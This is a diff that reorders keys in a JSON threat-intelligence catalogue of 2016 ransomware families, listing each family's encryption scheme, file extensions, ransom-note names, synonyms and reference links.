- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "CryptoLuck Ransomware",
- "uuid": "615b682d-4746-464d-8091-8869d0e6ea2c"
+ "uuid": "615b682d-4746-464d-8091-8869d0e6ea2c",
+ "value": "CryptoLuck Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "synonyms": [
- "Nemesis",
- "X3M"
- ],
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/11/crypton-ransomware.html",
- "https://decrypter.emsisoft.com/crypton",
- "https://www.bleepingcomputer.com/news/security/crypton-ransomware-is-here-and-its-not-so-bad-/",
- "https://twitter.com/JakubKroustek/status/829353444632825856"
- ],
- "ransomnotes": [
- "https://4.bp.blogspot.com/-2fAMkigwn4E/WCs1vKiB9UI/AAAAAAAACIs/_kgk8U9wfisV0MTYInIbArwL8zgLyBDIgCLcB/s1600/note-eng.png"
- ],
+ "date": "November 2016",
"encryption": "AES-256 + RSA + SHA-256",
"extensions": [
"_crypt",
@@ -3268,64 +3262,70 @@
".id-_CarlosBoltehero@india.com_",
".id-_maria.lopez1@india.com_"
],
- "date": "November 2016"
+ "ransomnotes": [
+ "https://4.bp.blogspot.com/-2fAMkigwn4E/WCs1vKiB9UI/AAAAAAAACIs/_kgk8U9wfisV0MTYInIbArwL8zgLyBDIgCLcB/s1600/note-eng.png"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/11/crypton-ransomware.html",
+ "https://decrypter.emsisoft.com/crypton",
+ "https://www.bleepingcomputer.com/news/security/crypton-ransomware-is-here-and-its-not-so-bad-/",
+ "https://twitter.com/JakubKroustek/status/829353444632825856"
+ ],
+ "synonyms": [
+ "Nemesis",
+ "X3M"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "Crypton Ransomware",
- "uuid": "117693d2-1551-486e-93e5-981945eecabd"
+ "uuid": "117693d2-1551-486e-93e5-981945eecabd",
+ "value": "Crypton Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. pretends to be a Windows optimization program called Windows-TuneUp",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/11/karma-ransomware.html",
- "https://www.bleepingcomputer.com/news/security/researcher-finds-the-karma-ransomware-being-distributed-via-pay-per-install-network/",
- "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-18th-2016-crysis-cryptoluck-chip-and-more/"
+ "date": "November 2016",
+ "encryption": "AES",
+ "extensions": [
+ ".karma"
],
"ransomnotes": [
"https://www.bleepstatic.com/images/news/ransomware/k/karma-ransomware/ransom-note.png",
"# DECRYPT MY FILES #.html",
"# DECRYPT MY FILES #.txt"
],
- "encryption": "AES",
- "extensions": [
- ".karma"
- ],
- "date": "November 2016"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/11/karma-ransomware.html",
+ "https://www.bleepingcomputer.com/news/security/researcher-finds-the-karma-ransomware-being-distributed-via-pay-per-install-network/",
+ "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-18th-2016-crysis-cryptoluck-chip-and-more/"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. pretends to be a Windows optimization program called Windows-TuneUp",
- "value": "Karma Ransomware",
- "uuid": "51596eaa-6df7-4aa3-8df4-cec3aeffb1b5"
+ "uuid": "51596eaa-6df7-4aa3-8df4-cec3aeffb1b5",
+ "value": "Karma Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/11/wickedlocker-ht-ransomware.html"
- ],
- "ransomnotes": [
- "https://2.bp.blogspot.com/-CTLT300bjNk/WCg9mrJArSI/AAAAAAAACGk/weWSqTMVS9AXdxJh_SA06SOH4kh2VGW1gCLcB/s1600/note_2.PNG.png"
- ],
+ "date": "November 2016",
"encryption": "AES",
"extensions": [
".locked"
],
- "date": "November 2016"
- },
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "WickedLocker HT Ransomware",
- "uuid": "878c06be-95d7-4a0d-9dba-178ffc1d3e5e"
- },
- {
- "meta": {
- "synonyms": [
- "PClock SuppTeam Ransomware",
- "WinPlock",
- "CryptoLocker clone"
+ "ransomnotes": [
+ "https://2.bp.blogspot.com/-CTLT300bjNk/WCg9mrJArSI/AAAAAAAACGk/weWSqTMVS9AXdxJh_SA06SOH4kh2VGW1gCLcB/s1600/note_2.PNG.png"
],
"refs": [
- "https://www.bleepingcomputer.com/news/security/old-cryptolocker-copycat-named-pclock-resurfaces-with-new-attacks/",
- "https://id-ransomware.blogspot.co.il/2016/11/suppteam-ransomware-sysras.html",
- "http://researchcenter.paloaltonetworks.com/2015/09/updated-pclock-ransomware-still-comes-up-short/",
- "https://decrypter.emsisoft.com/"
+ "https://id-ransomware.blogspot.co.il/2016/11/wickedlocker-ht-ransomware.html"
+ ]
+ },
+ "uuid": "878c06be-95d7-4a0d-9dba-178ffc1d3e5e",
+ "value": "WickedLocker HT Ransomware"
+ },
+ {
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. CryptoLocker Copycat",
+ "meta": {
+ "date": "November 2016",
+ "encryption": "AES or XOR",
+ "extensions": [
+ ".locked"
],
"ransomnotes": [
"Your files are locked !.txt",
@@ -3334,122 +3334,135 @@
"Your files are locked !!!!.txt",
"%AppData%\\WinCL\\winclwp.jpg"
],
- "encryption": "AES or XOR",
- "extensions": [
- ".locked"
+ "refs": [
+ "https://www.bleepingcomputer.com/news/security/old-cryptolocker-copycat-named-pclock-resurfaces-with-new-attacks/",
+ "https://id-ransomware.blogspot.co.il/2016/11/suppteam-ransomware-sysras.html",
+ "http://researchcenter.paloaltonetworks.com/2015/09/updated-pclock-ransomware-still-comes-up-short/",
+ "https://decrypter.emsisoft.com/"
],
- "date": "November 2016"
+ "synonyms": [
+ "PClock SuppTeam Ransomware",
+ "WinPlock",
+ "CryptoLocker clone"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. CryptoLocker Copycat",
- "value": "PClock3 Ransomware",
- "uuid": "6c38f175-b32a-40ef-8cad-33c2c8840d51"
+ "uuid": "6c38f175-b32a-40ef-8cad-33c2c8840d51",
+ "value": "PClock3 Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "synonyms": [
- "Kolobocheg Ransomware"
+ "date": "November 2016",
+ "encryption": "XOR and RSA",
+ "extensions": [
+ ".kolobocheg@aol.com_"
+ ],
+ "ransomnotes": [
+ "https://www.ransomware.wiki/tag/kolobo/"
],
"refs": [
"https://www.ransomware.wiki/tag/kolobo/",
"https://id-ransomware.blogspot.co.il/2016/11/kolobo-ransomware.html",
"https://forum.drweb.com/index.php?showtopic=315142"
],
- "ransomnotes": [
- "https://www.ransomware.wiki/tag/kolobo/"
- ],
- "encryption": "XOR and RSA",
- "extensions": [
- ".kolobocheg@aol.com_"
- ],
- "date": "November 2016"
+ "synonyms": [
+ "Kolobocheg Ransomware"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "Kolobo Ransomware",
- "uuid": "f32f0bec-961b-4c01-9cc1-9cf409efd598"
+ "uuid": "f32f0bec-961b-4c01-9cc1-9cf409efd598",
+ "value": "Kolobo Ransomware"
},
{
+ "description": "This is most likely to affect German speaking users, since the note is written in German. Mostly affects users in German speaking countries. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "synonyms": [
- "Paysafecard Generator 2016"
+ "date": "November 2016",
+ "encryption": "AES-256",
+ "extensions": [
+ ".cry_"
+ ],
+ "ransomnotes": [
+ "https://3.bp.blogspot.com/-r2kaNLjBcEk/WCNCqrpHPZI/AAAAAAAACEE/eFSWuu4mUZoDV5AnduGR4KxHlFM--uIzACLcB/s1600/lock-screen.png"
],
"refs": [
"https://id-ransomware.blogspot.co.il/2016/11/paysafegen-german-ransomware.html",
"https://twitter.com/JakubKroustek/status/796083768155078656"
],
- "ransomnotes": [
- "https://3.bp.blogspot.com/-r2kaNLjBcEk/WCNCqrpHPZI/AAAAAAAACEE/eFSWuu4mUZoDV5AnduGR4KxHlFM--uIzACLcB/s1600/lock-screen.png"
- ],
- "encryption": "AES-256",
- "extensions": [
- ".cry_"
- ],
- "date": "November 2016"
+ "synonyms": [
+ "Paysafecard Generator 2016"
+ ]
},
- "description": "This is most likely to affect German speaking users, since the note is written in German. Mostly affects users in German speaking countries. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "PaySafeGen (German) Ransomware",
- "uuid": "379d5258-6f11-4c41-a685-c2ff555c0cb9"
+ "uuid": "379d5258-6f11-4c41-a685-c2ff555c0cb9",
+ "value": "PaySafeGen (German) Ransomware"
},
{
+ "description": "This is most likely to affect Russian speaking users, since the note is written in Russian. Therefore, residents of Russian speaking country are affected. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. The ransomware’s authors would request around $75 from their victims to provide them with a decryptor (payments are accepted via Russian payment services Qiwi or Yandex.Money ). Right from the start, however, researchers suggested that TeleCrypt was written by cybercriminals without advanced skills. Telecrypt will generate a random string to encrypt with that is between 10-20 length and only contain the letters vo,pr,bm,xu,zt,dq.",
"meta": {
+ "date": "November 2016",
+ "encryption": "AES",
+ "extensions": [
+ ".Xcri"
+ ],
+ "ransomnotes": [
+ "https://4.bp.blogspot.com/-UFksnOoE4Ss/WCRUNbQuqyI/AAAAAAAACFI/Gs3Gkby335UmiddlYWJDkw8O-BBLt-BlQCLcB/s1600/telegram_rans.gif"
+ ],
"refs": [
"https://id-ransomware.blogspot.co.il/2016/11/telecrypt-ransomware.html",
"http://www.securityweek.com/telecrypt-ransomwares-encryption-cracked",
"https://malwarebytes.app.box.com/s/kkxwgzbpwe7oh59xqfwcz97uk0q05kp3",
"https://blog.malwarebytes.com/threat-analysis/2016/11/telecrypt-the-ransomware-abusing-telegram-api-defeated/",
"https://securelist.com/blog/research/76558/the-first-cryptor-to-exploit-telegram/"
- ],
- "ransomnotes": [
- "https://4.bp.blogspot.com/-UFksnOoE4Ss/WCRUNbQuqyI/AAAAAAAACFI/Gs3Gkby335UmiddlYWJDkw8O-BBLt-BlQCLcB/s1600/telegram_rans.gif"
- ],
- "encryption": "AES",
- "extensions": [
- ".Xcri"
- ],
- "date": "November 2016"
+ ]
},
- "description": "This is most likely to affect Russian speaking users, since the note is written in Russian. Therefore, residents of Russian speaking country are affected. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. The ransomware’s authors would request around $75 from their victims to provide them with a decryptor (payments are accepted via Russian payment services Qiwi or Yandex.Money ). Right from the start, however, researchers suggested that TeleCrypt was written by cybercriminals without advanced skills. Telecrypt will generate a random string to encrypt with that is between 10-20 length and only contain the letters vo,pr,bm,xu,zt,dq.",
- "value": "Telecrypt Ransomware",
- "uuid": "2f362760-925b-4948-aae5-dd0d2fc21002"
+ "uuid": "2f362760-925b-4948-aae5-dd0d2fc21002",
+ "value": "Telecrypt Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/11/cerbertear-ransomware.html",
- "https://www.tripwire.com/state-of-security/security-data-protection/cyber-security/november-2016-month-ransomware/",
- "https://twitter.com/struppigel/status/795630452128227333"
- ],
- "ransomnotes": [
- "https://4.bp.blogspot.com/-ftA6aPEXwPM/WCDY3IiSq6I/AAAAAAAACCU/lnH25navXDkNccw5eQL9fkztRAeIqDYdQCLcB/s1600/note111.png"
- ],
+ "date": "November 2016",
"encryption": "AES",
"extensions": [
".cerber"
],
- "date": "November 2016"
+ "ransomnotes": [
+ "https://4.bp.blogspot.com/-ftA6aPEXwPM/WCDY3IiSq6I/AAAAAAAACCU/lnH25navXDkNccw5eQL9fkztRAeIqDYdQCLcB/s1600/note111.png"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/11/cerbertear-ransomware.html",
+ "https://www.tripwire.com/state-of-security/security-data-protection/cyber-security/november-2016-month-ransomware/",
+ "https://twitter.com/struppigel/status/795630452128227333"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "CerberTear Ransomware",
- "uuid": "28808e63-e71f-4aaa-b203-9310745f87b6"
+ "uuid": "28808e63-e71f-4aaa-b203-9310745f87b6",
+ "value": "CerberTear Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Hidden Tear >> APT Ransomware + HYPERLINK \"https://id-ransomware.blogspot.ru/2016/05/remindme-ransomware-2.html\" \t \"_blank\" RemindMe > FuckSociety",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/11/fucksociety-ransomware.html"
- ],
+ "date": "November 2016",
"encryption": "RSA-4096",
"extensions": [
".dll"
],
- "date": "November 2016"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/11/fucksociety-ransomware.html"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Hidden Tear >> APT Ransomware + HYPERLINK \"https://id-ransomware.blogspot.ru/2016/05/remindme-ransomware-2.html\" \t \"_blank\" RemindMe > FuckSociety",
- "value": "FuckSociety Ransomware",
- "uuid": "81c476c3-3190-440d-be4a-ea875e9415aa"
+ "uuid": "81c476c3-3190-440d-be4a-ea875e9415aa",
+ "value": "FuckSociety Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Batch file; Passcode: AES1014DW256 or RSA1014DJW2048",
"meta": {
- "synonyms": [
- "Serpent Ransomware"
+ "date": "November 2016",
+ "encryption": "AES-256",
+ "extensions": [
+ ".dng",
+ ".serpent"
+ ],
+ "ransomnotes": [
+ "HOW_TO_DECRYPT_YOUR_FILES_[random_3_chars].html",
+ "HOW_TO_DECRYPT_YOUR_FILES_[random_3_chars].txt"
],
"refs": [
"https://id-ransomware.blogspot.co.il/2016/11/paydos-ransomware-serpent.html",
@@ -3457,219 +3470,207 @@
"https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-4th-2016-cerber-paydos-alcatraz-locker-and-more/",
"https://www.proofpoint.com/us/threat-insight/post/new-serpent-ransomware-targets-danish-speakers"
],
- "ransomnotes": [
- "HOW_TO_DECRYPT_YOUR_FILES_[random_3_chars].html",
- "HOW_TO_DECRYPT_YOUR_FILES_[random_3_chars].txt"
- ],
- "encryption": "AES-256",
- "extensions": [
- ".dng",
- ".serpent"
- ],
- "date": "November 2016"
+ "synonyms": [
+ "Serpent Ransomware"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Batch file; Passcode: AES1014DW256 or RSA1014DJW2048",
- "value": "PayDOS Ransomware",
- "uuid": "4818a48a-dfc2-4f35-a76d-e4fb462d6c94"
+ "uuid": "4818a48a-dfc2-4f35-a76d-e4fb462d6c94",
+ "value": "PayDOS Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/11/zscreenlocker-ransomware.html",
- "https://www.tripwire.com/state-of-security/security-data-protection/cyber-security/november-2016-month-ransomware/",
- "https://twitter.com/struppigel/status/794077145349967872"
- ],
+ "date": "November 2016",
"encryption": "AES",
"extensions": [
".dng"
],
- "date": "November 2016"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/11/zscreenlocker-ransomware.html",
+ "https://www.tripwire.com/state-of-security/security-data-protection/cyber-security/november-2016-month-ransomware/",
+ "https://twitter.com/struppigel/status/794077145349967872"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "zScreenLocker Ransomware",
- "uuid": "47834caa-2226-4a3a-a228-210a64c281b9"
+ "uuid": "47834caa-2226-4a3a-a228-210a64c281b9",
+ "value": "zScreenLocker Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/11/gremit-ransomware.html",
- "https://twitter.com/struppigel/status/794444032286060544",
- "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-4th-2016-cerber-paydos-alcatraz-locker-and-more/"
- ],
- "ransomnotes": [
- "https://www.bleepstatic.com/images/news/columns/week-in-ransomware/11-4-16/CwZubUHW8AAE4qi[1].jpg"
- ],
+ "date": "November 2016",
"encryption": "AES",
"extensions": [
".rnsmwr"
],
- "date": "November 2016"
+ "ransomnotes": [
+ "https://www.bleepstatic.com/images/news/columns/week-in-ransomware/11-4-16/CwZubUHW8AAE4qi[1].jpg"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/11/gremit-ransomware.html",
+ "https://twitter.com/struppigel/status/794444032286060544",
+ "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-4th-2016-cerber-paydos-alcatraz-locker-and-more/"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "Gremit Ransomware",
- "uuid": "47512afc-ecf2-4766-8487-8f3bc8dddbf3"
+ "uuid": "47512afc-ecf2-4766-8487-8f3bc8dddbf3",
+ "value": "Gremit Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/11/hollycrypt-ransomware.html"
- ],
- "ransomnotes": [
- "https://1.bp.blogspot.com/-PdtXGwSTn24/WBxIoomzF4I/AAAAAAAAB-U/lxTwKWc7T9MJhUtcRMh1mn9m_Ftjox9XwCLcB/s1600/note_2.PNG"
- ],
+ "date": "November 2016",
"encryption": "AES",
"extensions": [
".hollycrypt"
],
- "date": "November 2016"
- },
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "Hollycrypt Ransomware",
- "uuid": "b77298c1-3f84-4ffb-a81b-36eab5c10881"
- },
- {
- "meta": {
- "synonyms": [
- "BTC Ransomware"
+ "ransomnotes": [
+ "https://1.bp.blogspot.com/-PdtXGwSTn24/WBxIoomzF4I/AAAAAAAAB-U/lxTwKWc7T9MJhUtcRMh1mn9m_Ftjox9XwCLcB/s1600/note_2.PNG"
],
"refs": [
- "https://id-ransomware.blogspot.co.il/2016/11/btclocker-ransomware.html"
- ],
- "ransomnotes": [
- "https://4.bp.blogspot.com/--7M0dtKhOio/WBxJx1PflYI/AAAAAAAAB-g/DSdMjLDLnVwwaMBW4H_98SzSJupLYm9WgCLcB/s1600/note_2.PNG"
- ],
+ "https://id-ransomware.blogspot.co.il/2016/11/hollycrypt-ransomware.html"
+ ]
+ },
+ "uuid": "b77298c1-3f84-4ffb-a81b-36eab5c10881",
+ "value": "Hollycrypt Ransomware"
+ },
+ {
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
+ "meta": {
+ "date": "November 2016",
"encryption": "AES",
"extensions": [
".BTC"
],
- "date": "November 2016"
+ "ransomnotes": [
+ "https://4.bp.blogspot.com/--7M0dtKhOio/WBxJx1PflYI/AAAAAAAAB-g/DSdMjLDLnVwwaMBW4H_98SzSJupLYm9WgCLcB/s1600/note_2.PNG"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/11/btclocker-ransomware.html"
+ ],
+ "synonyms": [
+ "BTC Ransomware"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "BTCLocker Ransomware",
- "uuid": "3f461284-85a1-441c-b07d-8b547be43ca2"
+ "uuid": "3f461284-85a1-441c-b07d-8b547be43ca2",
+ "value": "BTCLocker Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. From the developer behind the Apocalypse Ransomware, Fabiansomware, and Esmeralda",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/11/kangaroo-ransomware.html",
- "https://www.bleepingcomputer.com/news/security/the-kangaroo-ransomware-not-only-encrypts-your-data-but-tries-to-lock-you-out-of-windows/"
+ "date": "November 2016",
+ "encryption": "AES",
+ "extensions": [
+ ".crypted_file"
],
"ransomnotes": [
"https://1.bp.blogspot.com/-1jyI1HoqJag/WBzj9SLvipI/AAAAAAAAB_U/_sp8TglWEPQphG8neqrztfUUIjcBbVhDwCLcB/s1600/kangaroo-lock_2.png",
"filename.Instructions_Data_Recovery.txt"
],
- "encryption": "AES",
- "extensions": [
- ".crypted_file"
- ],
- "date": "November 2016"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/11/kangaroo-ransomware.html",
+ "https://www.bleepingcomputer.com/news/security/the-kangaroo-ransomware-not-only-encrypts-your-data-but-tries-to-lock-you-out-of-windows/"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. From the developer behind the Apocalypse Ransomware, Fabiansomware, and Esmeralda",
- "value": "Kangaroo Ransomware",
- "uuid": "5ab1449f-7e7d-47e7-924a-8662bc2df805"
+ "uuid": "5ab1449f-7e7d-47e7-924a-8662bc2df805",
+ "value": "Kangaroo Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/11/dummyencrypter-ransomware.html"
- ],
- "ransomnotes": [
- "https://4.bp.blogspot.com/-2rS0Yq27wp0/WBtKfupZ2sI/AAAAAAAAB8I/0MR-9Xx0n-0zV_NBSScDCiYTp1KH-edtACLcB/s1600/Lockscreen_2.png"
- ],
+ "date": "November 2016",
"encryption": "AES-256",
"extensions": [
".dCrypt"
],
- "date": "November 2016"
+ "ransomnotes": [
+ "https://4.bp.blogspot.com/-2rS0Yq27wp0/WBtKfupZ2sI/AAAAAAAAB8I/0MR-9Xx0n-0zV_NBSScDCiYTp1KH-edtACLcB/s1600/Lockscreen_2.png"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/11/dummyencrypter-ransomware.html"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "DummyEncrypter Ransomware",
- "uuid": "6bf055c6-acb2-4459-92b0-70d61616ab62"
+ "uuid": "6bf055c6-acb2-4459-92b0-70d61616ab62",
+ "value": "DummyEncrypter Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "synonyms": [
- "SFX Monster Ransomware"
+ "date": "November 2016",
+ "encryption": "AES-256",
+ "extensions": [
+ ".dCrypt"
+ ],
+ "ransomnotes": [
+ "YOUR FILES ARE ENCRYPTED THAT THEIR DECRYPT SEND EMAIL US AT encryptss77@gmail.com IN MESSAGE INDICATE IP ADDRESS OF COMPUTER WHERE YOU SAW THIS MESSAGE YOU CAN FIND IT ON 2IP.RU WE WILL REPLY TO YOU WITHIN 24 HOURS"
],
"refs": [
"http://virusinfo.info/showthread.php?t=201710",
"https://id-ransomware.blogspot.co.il/2016/11/encryptss77-ransomware.html"
],
- "ransomnotes": [
- "YOUR FILES ARE ENCRYPTED THAT THEIR DECRYPT SEND EMAIL US AT encryptss77@gmail.com IN MESSAGE INDICATE IP ADDRESS OF COMPUTER WHERE YOU SAW THIS MESSAGE YOU CAN FIND IT ON 2IP.RU WE WILL REPLY TO YOU WITHIN 24 HOURS"
- ],
- "encryption": "AES-256",
- "extensions": [
- ".dCrypt"
- ],
- "date": "November 2016"
+ "synonyms": [
+ "SFX Monster Ransomware"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "Encryptss77 Ransomware",
- "uuid": "317cab8a-31a1-4a82-876a-94edc7afffba"
+ "uuid": "317cab8a-31a1-4a82-876a-94edc7afffba",
+ "value": "Encryptss77 Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/11/winrarer-ransomware.html"
- ],
- "ransomnotes": [
- "https://4.bp.blogspot.com/-zb0TP0wza7I/WBpShN0tCMI/AAAAAAAAB64/oTkSFwKFVx8hY1rEs5FQU6F7oaBW-LqHwCLcB/s1600/note_2.png"
- ],
+ "date": "November 2016",
"encryption": "AES-256",
"extensions": [
".ace"
],
- "date": "November 2016"
+ "ransomnotes": [
+ "https://4.bp.blogspot.com/-zb0TP0wza7I/WBpShN0tCMI/AAAAAAAAB64/oTkSFwKFVx8hY1rEs5FQU6F7oaBW-LqHwCLcB/s1600/note_2.png"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/11/winrarer-ransomware.html"
+ ]
},
